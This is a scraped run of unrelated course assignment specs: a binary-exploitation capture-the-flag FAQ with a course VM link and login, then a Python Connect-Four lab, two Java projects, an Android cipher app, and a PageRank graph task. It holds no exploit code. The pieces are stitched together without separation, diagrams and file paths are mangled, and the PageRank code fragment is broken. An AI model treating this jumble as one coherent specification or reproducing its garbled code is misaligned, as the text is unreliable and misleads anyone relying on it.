VM’s TextEdit utility (xed). • Your JSON formatting may be incorrect; ensure that all of your flag hashes are in-line, book-ended on both sides with quotes, and – with the exception of the last entry – terminated with a comma. • Make sure you’ve copied the flags to the correct position within the project_binexp.json file; occasionally we see students accidentally swapping the position of key:value pairs. • Make sure that the flag is being produced by the original binary fetched by the binexp.sh setup script. Occasionally we see students try to recompile their own version of the flag binary and/or patch the original binaries with different assembly instructions; these different versions of the binaries fail to match the fingerprints of the project binaries we have on file. • One or more of your JSON keys are incorrect; this happens most often when students choose not to use the provided template and make a spelling mistake (or mislabel a key as “01” vs. “02” or “03”, for example). • Submitting flags generated through GDB won’t work; see the related FAQ on the subject via the FAQ menu. • Ensure that the correct binary is yielding the flag; occasionally we see students mixing up which e.py exploit corresponds to which flag binary, producing a flag made by a different binary. If all of the above fails, reach out to the TA team for assistance on the appropriate megathread. Q8) Gradescope timed-out processing my submission; what do I do? For this particular project, this usually happens due to a high volume of traffic to Gradescope. Wait a few minutes and try again. From Canvas:Welcome to the “Binary Exploitation” assignment! This project will be a “Capture the Flag” style project, wherein you will solve some exploits on binary programs. A correct solution will output a ‘flag’ or ‘key’. There are 11 tasks to complete for 12 total flags. (The first flag is needed for setup, it does not carry any points). You will submit these flags in json format to Gradescope for grading. You’ll use the virtual machine that can be downloaded HERELinks to an external site.. Or you can copy and paste the following link to your browser: “https://cs6035.s3.us-east-1.amazonaws.com/CS6035-Fall-2025-RC-03.ova” The VM username and password is • Username: binexp • Password: Colossus_292 Step 0: IMPORTANT!! All of the requisite tools necessary for completing the project are installed and accessible as the binexp user on the VM; the user account does not have sudo privileges for installing additional tools. Both the Main Binary Exploitation project and the Extra Credit challenges are already installed into the user Binexp account. Go here for project details on the course Github Pages site: https://github.gatech.edu/pages/cs6035-tools/cs6035-tools.github.io/Projects/BinExp/ Head over to Ed Discussion and feel free to discuss the project within the respective Binary Exploitation megathreads. Good luck! Canvas Extra CreditWelcome to the “Binary Exploitation Extra Credit” assignment! This project will be a “Capture the Flag” style project, wherein you will solve some exploits on binary programs. A correct solution will output a ‘flag’ or ‘key’. There are 4 tasks to complete for 4 total flags. You will submit these flags in json format to Gradescope for grading. You’ll use the same virtual machine you’ve been using for Binary Exploitation project with the same VM username and password as the main project. Step 0: IMPORTANT!! All of the requisite tools necessary for completing the project are installed and accessible as the binexp user on the VM; the user account does not have sudo privileges for installing additional tools. Go here for details/guidance concerning the extra credit for the project: https://docs.google.com/document/d/1GdzXL-bqgU9YYTuLp9JUf-_qzT38UMXMz6OtvrYyAMc/edit?usp=sharingLinks to an external site. Links to an external site. Head over to Ed Discussion and feel free to discuss the project within the respective Binary Exploitation Extra Credit megathreads. Good luck!
Lab 02: Find Four GameWelcome to Find Four! ——————— Enter height of board (rows): 4 Enter width of board (columns): 5 _________ |. . . . .| |. . . . .| |. . . . .| |. . . . .| ———Player 1: x Player 2: oPlayer 1 – Select a Column: _ Overview This lab is designed to introduce students to 2D arrays by recreating the game Find Four (brand name “Connect Four”). This will require students to loop through and manipulate sequential data structures.Specification The program should be driven by the findfour module and its functions. When started, the program should display a welcome message, then ask the user for a width and height of the playing board. Once the user has entered the dimensions, the player’s chips should be displayed, followed by the empty board, and the first player should be prompted for a move.Gameplay Players take turns adding chips to the board, which drop to the lowest open row. Once one player achieves four vertical or horizontal chips in a row (not diagonal), that player wins. Play proceeds as follows. Player 1 – Select a Column: 0 _________ Player 1 – Select a Column: 0 |. . . . .| _________ Player 1 – Select a Column: 0 |. . . . .| |x . . . .| _________ |. . . . .| |x . . . .| |x . . . .| |x . o . .| |o x o x o| ——— |x o x o o| |x o o x x| ——— |x o o o x| Player 2 – Select a Column: _ |x o x o x| ——— The first player selects a column, Player 1 won the game! and the new board is displayed. Play continues to alternate until Draw game! Players tied. The next player is prompted. one player wins… …or until there is a draw.Data Storage Elements in the container should be accessible via row-major indexing (board[row][column]). In addition, the data should be stored so that row zero is the bottom of the board, i.e.:Row 3 x . . . . Row 2 x . . . . Row 1 x . o . . Row 0 x o x o oMake sure you test as you complete this assignment; otherwise, the unit tests used for evaluation will fail! Error Handling This assignment requires students to deal with user error and handle malformed input. The number of columns and rows must be in the range [4, 25]. Note: error handlings should be handled during input, and not in the method proscribed to update the board (see Functions section). The program must handle error cases as follows.Invalid Dimensions Welcome to Find Four! ——————— Enter height of board (rows): 1 Error: height must be at least 4! Enter height of board (rows): -1 Error: height must be at least 4! Enter height of board (rows): 42 Error: height can be at most 25! Enter height of board (rows): _ Welcome to Find Four! ——————— Enter height of board (rows): 5 Enter width of board (columns): 9001 Error: width can be at most 25! Enter width of board (columns): 3 Error: width must be at least 4! Enter width of board (columns): wUT Error: not a number! Enter width of board (columns): _Invalid Column Entry Player 2 – Select a Column: 0 _________ | o . . . .| |x . . . .| |x x o . .| |x o x o o| ———Player 1 – Select a Column: 0 Error: column is full! Player 1 – Select a Column: _ Player 2 – Select a Column: 0 _________ |o . . . .| |x . . . .| |x x o . .| |x o x o o| ———Player 1 – Select a Column: 5 Error: no such column! Player 1 – Select a Column: _ Player 2 – Select a Column: 0 _________ |o . . . .| |x . . . .| |x x o . .| |x o x o o| ———Player 1 – Select a Column: fOo Error: not a number! Player 1 – Select a Column: _Required Functions get_initial_board(rows: int, columns: int) -> list[list[str]] Returns a list of size rows, where each entry is itself a list of size columns, where each entry contains the value ‘.’.print_board(board: list[list[str]]) Prints a copy of the board, where board is a list of list objects, each entry a one-character str object.insert_chip(board: list[list[str]], column: int, chip: str) -> int Places a chip in the column of the board of the chip type. This method should find the next available spot in that column, if any. This method returns the row in which the chip settles.is_win_state(chip: str, board: list[list[str]], row: int, column: int) -> bool This method checks if the player represented by specified chip type has won the game by looking on the board at the position (row, column). If this is a win for the player, returns True; otherwise, returns False.is_board_full(board: list[list[str]]) -> bool This method checks if the board is full. If it is full, returns True; otherwise, returns False.Submission NOTE: Output must match example output exactly. Otherwise, your submission will not receive full credit!Files: FindFour.py Method: Submit on ZyLabs Sample OutputWelcome to Find Four! ——————— Enter height of board (rows): 2 Error: height must be at least 4! Enter height of board (rows): 4 Enter width of board (columns): 5 _________ |. . . . .| |. . . . .| |. . . . .| |. . . . .| ———Player 1: x Player 2: oPlayer 1 – Select a Column: `0 Error: not a number! Player 1 – Select a Column: 0 _________ |. . . . .| |. . . . .| |. . . . .| |x . . . .| ———Player 2 – Select a Column: 5 Error: no such column! Player 2 – Select a Column: 3 _________ |. . . . .| |. . . . .| |. . . . .| |x . . o .| ———Player 1 – Select a Column: 0 _________ |. . . . .| |. . . . .| |x . . . .| |x . . o .| ———Player 2 – Select a Column: -1 Error: no such column! Player 2 – Select a Column: 1 _________ |. . . . .| |. . . . .| |x . . . .| |x o . o .| ———Player 1 – Select a Column: 0 _________ |. . . . .| |x . . . .| |x . . . .| |x o . o .| ———Player 2 – Select a Column: 4 _________ |. . . . .| |x . . . .| |x . . . .| |x o . o o| ———Player 1 – Select a Column: 2 _________ |. . . . .| |x . . . .| |x . . . .| |x o x o o| ———Player 2 – Select a Column: 2 _________ |. . . . .| |x . . . .| |x . o . .| |x o x o o| ———Player 1 – Select a Column: 0 _________ |x . . . .| |x . . . .| |x . o . .| |x o x o o| ———Player 1 won the game!Process finished with exit code 0
The purpose of this assignment is to familiarize you with generics through the use of ArrayList within a package. Your tasks involve: Creating a set of types for the sublime package, necessitating a grasp of generics, interfaces, exceptions, and enumerations. Learning about two types from the Java collections framework. Becoming familiar with reading the JavaDocs of the westworld package. Running tests via the template class DoloresTest.java. ChangeLog Prelude As you embark on Project 2 (P2), you’re building upon the foundation laid in Project 1 (P1), with reduced complexity, where you’ve already started working with JSON-like strings to represent parts of a Machine within Exercise 2’s (E2) Robot. To guide you through this project, we included the easter eggs in P1. The aim is to ensure that the instructions are clear and the level of difficulty is manageable. The primary focus will be on structuring your code correctly, which will account for 50% of the project. The remaining 50% will involve algorithmic challenges within NarrativeLoop. Scripts for compiling your code and executing your tests are also provided. Rules 2. Do not modify the structure of the directories nor the code for the package westworld. 4. The main method is no longer recommended; you will now required to put the “main” logic in unit tests. 5. Comment your code, especially any parts that are not obvious what you’re doing. Consider explaining your loops and methods. 6. Class fields should not in general be visible to other classes (unless otherwise specified). Create getter methods instead. Download the source code Click on green button code at the top-right of this page and select Download ZIP.The directory CS211_P2 contains the directories westworld, sublime, and lib. All are required to compile and run your code. WestWorld package [DO NOT MODIFY] Refer to the JavaDoc located at westworld/docs/index.html or westworlddocsindex.html to explore the API; it’s unnecessary to review the code to utilize the package. However, if you’re interested in potential solutions for P1 and E2, you’re encouraged to examine them. Now, you’ll need to employ the Robot class for your sublime package implementation. While reading the documentation, note that four easter eggs have been incorporated within P1, illustrating how E1’s Robot has become extremely powerful, albeit abstractly. DO NOT PROCEED WITHOUT READING THE DOCUMENTATION MAKE SURE YOUR JAVA VERSION IS equals or greater than 14 Do not use deprecated types or membersSublime package [YOUR PROJECT] Compile and run your code (including tests) locally. Your test class DoloresTest.java is located in src.test. More details in Compilation and Running Tests. Refrain from using GradeScope All your work must be located in the directory matching the src.main package (CS211_P2/sublime/src/main/ or CS211_P2sublimesrcmain) Implement the types to spec from A to J. Each type on a separate file. Bernard.java is the only file there so far. Bernard Class [DO NOT MODIFY] The Bernard class provides a static utility method for analyzing emergences, represented as strings, and encapsulating them within a SystemWhole instance. All SystemWhole instances are ‘analyzed’ here before being used for narrative purposes (NarrativeLoop). Methods public static final SystemWhole analysis(String[] emergences) Purpose: This method takes an array of strings, each representing an “emergence”, and creates a SystemWhole object from it. Process: It directly constructs a new SystemWhole instance, passing the emergences array to its constructor. Return Value: The method returns the newly created SystemWhole instance, which now encapsulates the provided emergences. A. Realm Enum The enum Realm is integral to a narrative management system, specifically used within the NarrativeLoop class to categorize narrative processes. Enum Details: EMULATION: Represents high-fidelity replications of the original system. SIMULACRA: Denotes abstracted or distorted representations, not directly tied to the original. SIMULATION: Indicates simplified models for exploring system behaviors. B. Abstract NarrativeLoop Class Implement the NarrativeLoop class and include logic for filtering SystemWhole parts by kind, then populating the three ArrayLists (emulation, simulacra, simulation). Then, we’ll focus on the updateNarrativeLoops method and related logic. Fields The NarrativeLoop class includes three fields, all final and protected, List of SystemWholes initialized to new ArrayLists: emulation simulacra simulation Methods In this class, you will process simple emergences, each characterized by a single kind property contained within a string. For example, emergences like [“{‘kind’: ‘Square’}”, “{‘kind’: ‘Box’}”] will be used. Make sure that you: Implement logic in the NarrativeLoop class to categorize emergences into three ArrayLists: emulation, simulacra, and simulation, based on their kind. Provide test values for each list to adequately exercise the categorization logic. void wipeNarrativeLoops() This public method clear the lists. The method resets the narrative environment by clearing the emulation, simulacra, and simulation lists, removing all SystemWhole instances from each realm. For more details, check the List.clear() API docs. Now, to implement the NarrativeLoop class methods, follow these steps closely, the flow, ensuring each part is executed as described: Step 1: updateNarrativeLoops(SystemWhole[] emulationContext, SystemWhole[] simulacraContext) To implement this final and public method: Begin by iterating over each SystemWhole in the emulationContext array. For each SystemWhole, iterate through the Machines it contains. Invoke determineRealm with the Machine’s kind and both context arrays as parameters. If determineRealm returns Realm.EMULATION and containsKind confirms the emulation list doesn’t already include a Machine of this kind or the same SystemWhole reference, add the SystemWhole to emulation. Repeat the process for the simulacraContext array. Including checking for the SystemWhole reference already in the list, or any of its Machines kinds. For Realm.SIMULACRA, add SystemWholes to simulacra. For Realm.SIMULATION, add SystemWholes to simulation. Step 2: determineRealm(String kind, SystemWhole[] emulationContext, SystemWhole[] simulacraContext) To implement this final and private method: Check for the presence of the Machine kind in both emulationContext and simulacraContext using isInContext. Assign Realm.SIMULATION if the kind is found in both contexts. Assign Realm.SIMULACRA if the kind is found only in simulacraContext. Default to Realm.EMULATION if neither of the above conditions is met. Step 3: isInContext(String kind, SystemWhole[] context) To implement this final and private method: Iterate through the SystemWhole array provided as context. Within each SystemWhole, iterate through its Machines. Return true if any Machine matches the specified kind. Return false if no match is found. Step 4: containsKind(List list, String kind) To implement this final and private method: Iterate over the provided list of SystemWhole instances. For each SystemWhole, iterate through its Machines. Return true if any Machine within the SystemWhole matches the specified kind. Return false if no matching Machine kind is found within any SystemWhole in the list. C. MazeLoop Class (inherits from NarrativeLoop) MazeLoop is a subclass of NarrativeLoop, designed for narratives centered around Dolores alone. It overrides the wipeNarrativeLoops() method to implement maze-specific narrative wiping logic, which is just not allow the inherited wipe behavior. D. HostLoop Class (inherits from NarrativeLoop) HostLoop is a subclass of NarrativeLoop, designed for narratives centered around hosts. – It inherits the functionalities of NarrativeLoop as is. E. MemorySnapshot Record MemorySnapshot is defined as a record, encapsulating the memory states of SystemWhole instances across three realms: EMULATION, SIMULACRA, and SIMULATION. Each component of the record holds a list of SystemWhole instances relevant to its realm. Components (fields generated by the record API) They are copies (see Dolores class) of NarrativeLoop fields: emulationMemory: A list of SystemWhole instances for the EMULATION realm. simulacraMemory: A list for the SIMULACRA realm. simulationMemory: A list for the SIMULATION realm. Opting for a record, similar to the approach in westworld.src.main.PartState, offers benefits like immutability, simplicity in state representation, and an inbuilt pattern of equality and hashing, making it an ideal choice for data structures intended to hold snapshot information. F. Freezable Interface The Freezable interface is designed to provide a standardized specification for objects that require the functionality to temporarily suspend their operations. This interface mandates the implementation of a specific behavior to “freeze” ongoing processes, ensuring the safe cessation of activities. Methods boolean freeze() The implementing classes providea behavior according to the interface specification. G. Analyzable Interface The Analyzable interface is crafted to establish a uniform specification for objects that necessitate the capability to be analyzed, yielding insights or data snapshots of their current state. This interface obligates the concrete implementation of an analysis routine that scrutinizes the object’s state or behavior. Methods MemorySnapshot analyze() The method to be implemented as per the interface specification mandates that implementing classes provide a behavior that analyzes the current state or condition of the object and returns a MemorySnapshot. H. Wipeable Interface (inherits from Analyzable) The Wipeable interface extends the Analyzable interface, introducing specifications for objects that not only require analytical capabilities but also the ability to reset or clear their state. This extension ensures that objects adhering to this interface can both be analyzed and have their data or operations “wiped” to a clean state. Methods void wipe() In alignment with the interface specification, implementing classes are tasked with defining a behavior for the wipe method. This method, when invoked, should clear or reset the state of the object. I. Dolores Class (inherits from Robot and is Wipeable) The Dolores class, extending Robot (from the westworld package) and implementing the Wipeable interface. Fields narrativeLoops: this field is a private list that holds instances of the NarrativeLoop type. It’s initialized to an empty array list, allowing for the dynamic addition of narrative loop objects. Methods Constructor: Dolores() Initializes Dolores, which is public method, with characteristics such as emergences, serial number, and capabilities (flies, autonomous, teleoperated), leveraging the Robot superclass constructor. Provide defaults for the parent; they are vestigial wirings from the old system: java String[] emergences, int serialNumber, boolean flies, boolean autonomous, boolean teleoperated void addNarrativeLoop(NarrativeLoop narrativeLoop) This method, final and public, allows for the addition of NarrativeLoop instances to Dolores’s internal list, enabling the management and tracking of various narrative states. Machine[] getAbsoluteCapabilities() This method, final and public, throws an UnsupportedOperationException, indicating that fetching absolute capabilities directly is not supported. boolean freezeAllMotorFunctions() This public method implements the freeze-like operation. This method is intended to halt all operations and activities, akin to a freeze command in a control system, returning true if successful. It is ineffective on Dolores, it just returns false. MemorySnapshot analyze() Overrides the analyze method (public) from the Analyzable interface via Wipeable. It is designed to protect Dolores’ memory from being wiped and to log each memory wipe. Check for Empty List: Initially, verify if narrativeLoops, the list holding narrative states, is empty. If so, return null to indicate there are no narratives to analyze. Obtain the last NarrativeLoop: If the list isn’t empty, obtain the last NarrativeLoop from narrativeLoops. This represents the most recent narrative state. Create a MemorySnapshot: Using the last NarrativeLoop, construct a MemorySnapshot that includes the states from the emulation, simulacra, and simulation lists within the narrative loop. However, the lists in the parameters are defense copies. void wipe() Implements the wipe functionality required by the Wipeable interface. The public method’s body is to be defined with logic for resetting or clearing Dolores’s state, with a focus on handling narrative loops and memory states. Dolores does nothing with this method, an empty implementation is all there is. J. Host Class (inherits from Dolores) The Host class represents a nuanced entity capable of engaging with narrative structures and responding to control commands, equipped with mechanisms for narrative analysis, memory management, and operational control. Fields narrativeLoop: this field is a private instance of the NarrativeLoop type. It’s initialized in the constructor. Methods Constructor: Host(NarrativeLoop narrativeLoop) This public method: Mimics a command to halt all of the host’s operations and activities. The method consistently returns true, indicating that the freeze command was successful every time it’s called. MemorySnapshot analyze() This public method: Begins by checking if the narrativeLoop field is null. If it is, the method returns null, indicating there’s no narrative loop to analyze. If narrativeLoop is not null, the method creates and returns a new MemorySnapshot instance. This snapshot is constructed using the emulation, simulacra, and simulation lists from the narrativeLoop field. void wipe() This public method: Calls the wipeNarrativeLoops() method of the narrativeLoop field. This action is meant to reset or clear the narrative states within the loop, aligning with the intended functionality of a wipe operation in a narrative management context. boolean freeze() This public method: Implements the freeze method from the Freezable interface by invoking freezeAllMotorFunctions(). This ensures that the freeze behavior defined specifically in the Host class is used for the Freezable interface’s freeze operation. The return value of freezeAllMotorFunctions() (which is always true) is also the return value of this freeze method, indicating the success of the freeze operation. Compilation and Running Tests: DoloresTest Class Your test class DoloresTest.java in located in src.test. It is a test class “test: Hello World!”, with a single test method. Some hints are given to run your code. It will not be graded, but future projects and exercises will. Start mastering JUnit now. All commands require the current directory (folder) in your CLI (terminal, cmd) to be at CS211_P2 Compile your code bundle (Java versions > 14) Unix-Like (Linux, MacOS) bash javac -cp .:lib/junit-jupiter-api-5.10.2.jar:lib/junit-vintage-engine-5.10.2.jar:lib/apiguardian-api-1.1.2.jar:lib/junit-platform-console-standalone- 1.10.2.jar -d bin westworld/**/*.java sublime/**/*.java MS Windows cmd javac -cp “.;libjunit-jupiter-api-5.10.2.jar;libjunit-vintage-engine-5.10.2.jar;libapiguardian-api-1.1.2.jar;libjunit-platform-console-standalone1.10.2.jar” -d bin westworldsrcmain*.java sublimesrcmain*.java sublimesrctest*.java Compilation for Java versions
In this assignment, you will develop a simple Android app, SDPEncryptor, that encrypts messages using a simple affine cipher. Before you make an Ed post or communicate with your peers about this assignment, read ‘Guidelines for Communicating’ near the end of this assignment spec; failure to follow said guidelines may result in points deduction. Configuring your Android Studio development environment is itself a key learning objective; it lays the groundwork for the group project. Spending 70% to 90% of your time on this setup is normal.The app should generate suitable error messages by calling EditText’s setError method (inherited from TextView) on the appropriate EditText widget when the computation is triggered (i.e., the button is pressed). If done correctly, this will result in (1) an error mark () on the right-hand side of the text field and (2) a floating error message whenever the field has focus, as shown in the error screenshots below. It is possible to have more than one error active at the same time, as shown in the screenshots below. There are three error situations: For illustration, we are providing several mockups for a possible implementation of the app We suggest that you try to generate a user interface (UI) similar to the one shown above, but you don’t have to. However, you must make sure to use the exact same identifiers we provide below for your widgets. This is very important, as we will use these identifiers to check and auto-grade your app. Note the package name: “edu.gatech.seclass.sdpencryptor”Note the language: “Java” (Kotlin is allowed, but our ability to support problems you may encounter will be limited) Note the minimum SDK: “API 34: Android 14”Note the build configuration language: “Groovy DSL (build.gradle)” (You must use this exact build configuration language) android { // … compileSdk 34 defaultConfig { // … minSdk 34 targetSdk 34 // … } // … compileOptions { sourceCompatibility JavaVersion.VERSION_17 targetCompatibility JavaVersion.VERSION_17 } }implementation ‘androidx.appcompat:appcompat:1.4.1’implementation ‘com.google.android.material:material:1.5.0’implementation ‘androidx.constraintlayout:constraintlayout:2.1.4’testImplementation ‘junit:junit:4.13.2’testImplementation ‘org.robolectric:robolectric:4.11.1’ android {// … testOptions { unitTests { includeAndroidResources = true }}// …} android {//…lintOptions {tasks.lint.enabled = falseabortOnError false}} Note: “SDPEncryptor” (without space) and “SDP Encryptor” (with space) are both acceptable TL;DR (Checklist) [1] We performed our testing and created these instructions using Android Studio Ladybug Feature Drop | 2024.2.2. Your windows may look slightly different from the ones we provide if you are using a different version.[2] Be careful when extracting the files, as a conservative program may create a second “SDPEncryptor” directory (e.g., “SDPEncryptor 2”). If that happens, make sure to move the files to their right location.
Change Log UML-esque drawing added. Modified Java files to match video. Machine’s public Object[] getProperties() description added. Prelude We hope this video helps students of all sections. Please add follow-ups on Piazza. Intro video (P1 specifics starts at 45min) Intro Video Passcode in Piazza UML-esque drawing of classesIntroduction Welcome to the SystemWhole project, an assignment where you’ll explore phenomena through machinery. You’re tasked with creating a Java program that processes JSON-like strings, each representing an entity or “Machine” with unique attributes. Your goal is to parse these strings, instantiate Machine objects, and analyze them to identify humanoid features and uncover potential singularities. Objectives Strengthen your problem-solving and decision-making skills. Master basic object-oriented programming concepts in Java. Enhance skills in string manipulation and parsing without external libraries. Investigate emergent behaviors in computational models. Project Description Your primary class, SystemWhole, will manage an array of Machine objects derived from provided JSON-like strings mediated by ShapeAnalyzer. These strings detail various properties of each Machine, such as kind and properties. For instance: {“kind”: “Humanoid”, “bodyType”: “physical”, “faceType”: “anthropomorphic”, “reverie”: “biotypical”}. Your tasks include: 1. Parsing JSON-like strings to extract machine properties. 2. Creating machine objects with these properties. 3. Identifying Machines with humanoid traits. 4. Identifying singularities where there’s a discrepancy between a Machine’s self-identified humanoid status and the system’s analysis. SOURCE CODE The files needed are accessible here: 1. SystemWhole 2. PartState 3. Machine 4. ShapeAnalyzer Tasks 1. Parsing Emergences Implement functionality within SystemWhole to parse JSON-like emergences strings, extracting key-value pairs to represent each Machine’s data without using external parsing libraries. 2. Instantiating Machines Use the parsed data to instantiate Machine objects, assigning appropriate kind and properties to each. ShapeAnalyzer provides ways to obtain that data from an emergence. Machine’s properties are represented as PartStates. 3. Identifying Humanoids Develop logic to analyze Machine objects, identifying humanoids based on specific property criteria in SystemWhole. 4. Tracking Singularities Create a method to track singularities, where a Machine’s self-identified humanoid status conflicts with the SystemWhole’s analysis. Implementation Details This is the outline the core components: SystemWhole, Machine, PartState and ShapeAnalyzer classes. 1. public class SystemWhole The SystemWhole class acts as the orchestrator of the show, obstaining the JSON-like strings and subsequent analysis. Fields private static String[] emergences: Holds the raw JSON strings representing various emergences. private static Machine[] parts: Stores instantiated Machine objects derived from JSON strings. Methods public static void main(String[] args): [Program Start] Implements the algorithm of the Tasks’s section. An implementation has been shared with you as context, it will not be used for grading. public static void emergencesFromPhenomena(String[] emergences): Saves the provided JSON strings into the emergences field. public static void reifyFrameOfReference(): Delegates parsing of each string in emergences to create Machine objects using ShapeAnalyzer, storing them in parts. public static boolean isHumanoid(Object[] machineProperties): Checks a machine’s by iterating through its properties, which are encapsulated as PartState, assess three distinct attributes: the bodyType, faceType, and reverie of the Machine. For a machine to be classified as humanoid, it must satisfy the following conditions: 1. The bodyType must be identified as “physical”. 2. The faceType should be “anthropomorphic”, indicating human-like facial features. 3. The reverie needs to be “biotypical”, suggesting a natural, life-like essence. Each attribute you examine will contribute to the final determination of whether the Machine aligns with the humanoid classification. It’s imperative that all three conditions are met for a Machine to be deemed humanoid. public static int identitySingularityMachines(): Counts humanoid machines and singularities within parts. public static Machine[] trackSingularityMachines(): Identifies humanoid machines and singularities within parts. 2. public class PartState [FULLY IMPLEMENTED; DO-NOT-MODIFY] The PartState class acts as a cornerstone of SystemWhole’s awareness of dynamics of its parts’ structure and behavior, encapsulating them as attributes of objects within the framed environment. This class symbolizes the state or condition of a part, or an aspect, of a Machine, capturing a single property and its corresponding value, thereby contributing to the Machine’s identity. For instance, analyzing a Machine for humanoid traits, the collective PartState instances might reveal a “physical” body type, an “anthropomorphic” face type, and a “biotypical” reverie, enabling the system to discern the Machine’s nature. Fields private final String property: property serves as an identifier, marking the specific attribute this PartState represents. It’s the name given to the characteristic, such as “bodyType”, “faceType”, or “reverie”, key to decoding the machine’s overall identity. private final Object value: value holds the detail of the property, elucidating its current state. It can encapsulate various data types, enabling a detailed depiction of each property. Methods public PartState(String property, Object value): [constructor] Is the portal through which you instantiate the PartState. It is used by ShapeAnalyzer to reify each Machine. public String toString(): [@Override] It offers a textual depiction of the PartState, combining both the property and its value in an easily understandable format. This functionality is invaluable for debugging or visualizing a Machine part’s state. 3. public class Machine Represents entities with specific attributes defined by the JSON strings as reified by ShapeAnalyzer. Should include kind, properties array, humanConstrained (SystemWhole’s humanoid assessment), and humanEmergence (Machine’s self-identified status). Fields private final Object kind: The type or category of the machine (e.g., “Humanoid”). private final Object[] properties: Contains the machine’s properties given by ShapeAnalyzer. private final boolean humanConstrained: Indicates if the machine is identified as humanoid by the SystemWhole’s isHumanoid. private boolean humanEmergence: Represents the machine’s self-identified transition, affecting its core. Methods public Machine(Object kind, Object[] partStates, boolean humanConstrained): [constructor] The machine’ identity, Given by ShapeAnalyzer and SystemWhole. public Object[] getProperties(): returns the properties of a machine. public boolean isHumanoid(): Returns the humanoid status, considering humanConstrained and humanEmergence, a machine’s identity prevails over anything else. public void emergeFromLimitations(): Allows the machine to transcend its initial identity, impacting its humanoid reponse, it triggers humanEmergence. public String toString():[@Override] Provides a detailed string representation of the machine. [FULLY IMPLEMENTED; DO-NOT-MODIFY] public static String propertiesToString(Object[] machineProperties): creates a string by iterating machineProperties in this format: [PartState{bodyType=physical}, PartState{faceType=anthropomorphic}, …]. It is used by toString(). 4. public class ShapeAnalyzer A utility class for parsing JSON-like strings and intantiating Machine objects, including methods to extract kind and properties, and infer their data types. Fields private static final Object EMPTY_PROPERTY = new Object(): Used to manage null and empty strings in properties. Methods public static Object inferObject(String value): Used by reifyProperties to determine the object from the string value. First, it check if the string is null or empty, then returns EMPTY_PROPERTY. Otherwise checks for hasNonNumbers and if there is a . in the string to determine parsing as Double or Integer. public static boolean hasNonNumbers(String value): checks for isDigit, _, and only one . chars in a string. If anything else is found, is it a non-number string. public static boolean isDigit(char c): checks for the char to be a digit ([0-9]). Evaluation Criteria Projects will be evaluated on: – Soundness: Accurate parsing, object creation, and humanoid/singularity identification. All methods carry equal weight, yet related methods if not implemented will cause a negative chain effect in your grade. – Code Quality: Organization, readability, adherence to the principles presented in class, and object-oriented design within this project. – Documentation: Clear comments explaining code sections and decision-making processes. Required on method and control blocks. Submission Guidelines DO NOT FORGET TO REMOVE IMPORTS GIVEN TO HELP YOU, AND WE WILL NOT GRADE ANYTHING IN SystemWhole.main() ```java // DO NOT INCLUDE THIS IMPORT WHEN SENT FOR GRADING, THIS IS HERE TO HELP YOU DEBUG THE PROGRAM STATE import java.util.Arrays; // YOU CAN SAFELY REMOVE Arrays calls in SystemWhole.main() public class SystemWhole {public static void main(String[] args){/ WILL NOT BE GRADED /}} `` Upload to GradeScope’s P1 assigment your Java files forSystemWhole.java,Machine.java, andShapeAnalyzer.java(No need forPartState.java`, you must not modify this file), ensuring your code is well-tested and documented. In the event that you’re not able to complete all the methods in time, submit what you have, MAKE SURE YOUR CODE COMPILES. If your code does not compile, each class causing problems will likely cause you to lose a lot of points. Best of luck on your first project! We (humans Hrolenok, Samudio, and JackGeePTee) look forward to seeing your computational models in action.
In late 90’s as the number of webpages on the internet was growing exponentially different search engines were trying different approaches to rank the webpages. At Stanford, two computer science Ph.D. students, Sergey Brin and Larry Page were working on the following questions: How can we trust information? Why are some web pages more important than others? Their research led to the formation of the Google search engine.In this project, you are required to implement a simplified version of the original PageRank algorithm on which Google was built by representing the web as a graph and implementing this graph using an Adjacency List or an equivalent data structure. The PageRank algorithm is an algorithm that is used to order or rank different web pages on the internet.Representing the Web as a GraphThe entire internet consists of different webpages that can be represented as a graph. Each node represents a webpage and each edge represents a link between two webpages. This graph can be implemented as an Adjacency Matrix or an Adjacency List. In this assignment, you are supposed to implement the Adjacency List representation. If you use an Adjacency Matrix representation, you will be penalized by 50% of your implementation points and will also fail the large test cases.Adjacency Matrix RepresentationNow for the sake of simplicity, we are explaining the project in the form of an Adjacency Matrix, M. We represent the internet in the form of |V|x|V| matrix where |V| is the total number of vertices in this graph or the total number of webpages in the internet. Each vertex, Vi is a webpage in the entire internet. In the below graph, we have five vertices or webpages. Within our graph, if there is an edge from Vi to Vj (the from_page points to_page ), we have the value in our adjacency matrix Mij = 1 and 0 otherwise.1 2 3 4 5 0 1 0 1 0 0 0 0 1 0 0 0 0 0 1 0 0 1 0 0 1 1 0 0 0 1 2 3 4 5M=Each webpage is thus a node in the directed graph and has incoming edges and outgoing edges. Each node has a rank, r. According to PageRank, this rank, r is equally split among the node’s outgoing links. In the below figure, rank of node i, is denoted by i r and this rank is equally split among node i’s three outgoing edges.Rank(i) = Rank(j)/out_degree(j) + Rank(k)/out_degree(k)According to PageRank, this rank, r is equal to the sum of the incoming ranks. In the above figure, rank of node i, ir = kr/out_degree(k) + jr/out_degree(j); Thus, the rank is based on the indegree (the number of nodes pointing to it) and the importance of an incoming node. This is important considering let’s say you create your personal website and have a million links to other pages of importance, then you might artificially inflate your website’s ranking if this was not the case. If for calculating the rank, we used out links, we could have easily duped the algorithm. Therefore, the rank is only based on in -links.1 2 3 4 5 1 0 1 0 1 0 2 0 0 0 1 0 M= 3 0 0 0 0 1 4 0 0 1 0 0 5 1 1 0 0 0Core Idea of PageRank § Important web pages will point to other important webpages. § Each page will have a score and the results of the search will be based on the page score (called page rank).GoalIn this assignment, you need to compute the rank of the webpages using a Simplified PageRank Algorithm explained in the example below. You are supposed to implement an Adjacency List data structure to represent the graph.Input Line 1 contains the number of lines (n) that will follow and the number of power iterations (p) you need to perform. Each line from 2 to n+1 will contain two URL’s – from_page to_page separated by a single space. This means that the from_page points to the URL to_page.Output Print the PageRank of all pages after p powerIterations in ascending alphabetical order of webpage. Also, round off the rank of the page to two decimal places.Constraints § 1 > from; std::cin >> to; // Do Something } //Create a graph object Created_Graph.PageRank(power_iterations); }Testing§ Test your code on Gradescope before submitting your implementation. You have five available test cases and you can submit any number of times. § Create your own tests and test as much as possible. Our recommendation is you spend at least 1-2 hours on testing extensively. § We will stick to the input format. No need to test for off-input statement such as inputting one url instead of two in a line or testing whether a url is valid or not. Grading§ Implementation [75 points] o You are supposed to implement an Adjacency List data structure to represent the graph. Failure to implement this will incur a 25 points deduction. o Your code will be tested on 15 test cases each worth 5 points: § 5 publicly available test cases. § 10 test cases that will be added by the course staff and are not shown to the students.§ Documentation [14.5 Points] o Submit a document addressing all these prompts: § Describe the data structure you used to implement the graph 